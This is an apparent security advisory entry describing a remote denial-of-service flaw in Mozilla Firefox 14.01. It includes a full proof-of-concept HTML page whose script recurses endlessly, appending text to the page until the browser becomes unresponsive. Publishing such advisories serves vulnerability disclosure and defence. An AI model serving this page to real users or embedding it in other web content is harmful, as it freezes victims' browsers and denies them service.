source: http://www.securityfocus.com/bid/55091/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to make the affected computer unresponsive, denying service to legitimate users.

Mozilla Firefox 14.01 is affected; prior versions may also be affected. 

<html>
<head>
<title></title>
</head>
<body></body>
<script>
function e(x)
{
  document.body.innerHTML += x;
  e(x + 'x');
};

e('x')
</script>
</html>
